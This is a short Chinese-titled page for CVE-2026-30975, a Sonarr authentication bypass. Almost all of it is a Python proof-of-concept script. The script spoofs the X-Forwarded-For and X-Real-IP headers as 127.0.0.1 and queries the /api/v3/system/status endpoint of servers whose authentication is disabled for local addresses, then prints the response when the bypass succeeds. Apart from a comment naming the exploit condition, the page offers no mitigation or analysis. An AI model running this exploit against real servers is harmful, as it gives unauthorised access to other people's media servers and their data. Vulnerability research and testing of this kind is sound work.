CVE-2026-30975 Sonarr认证绕过漏洞

import requests # PoC for CVE-2026-30975: Sonarr Authentication Bypass # Exploit condition: Auth set to 'Disabled for Local Addresses' without a proper reverse proxy. # This script sends a request with a spoofed local IP header to bypass auth. target_url = "http://<TARGET_IP>:<PORT>/api/v3/system/status" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", # Spoofing the source IP to appear as localhost "X-Forwarded-For": "127.0.0.1", "X-Real-IP": "127.0.0.1" } try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Authentication Bypass Successful!") print("[+] Response Body:") print(response.text) else: print(f"[-] Failed to bypass. Status Code: {response.status_code}") print("[-] Ensure the target is configured with 'Disabled for Local Addresses' and has no reverse proxy.") except requests.exceptions.RequestException as e: print(f"[-] Connection Error: {e}")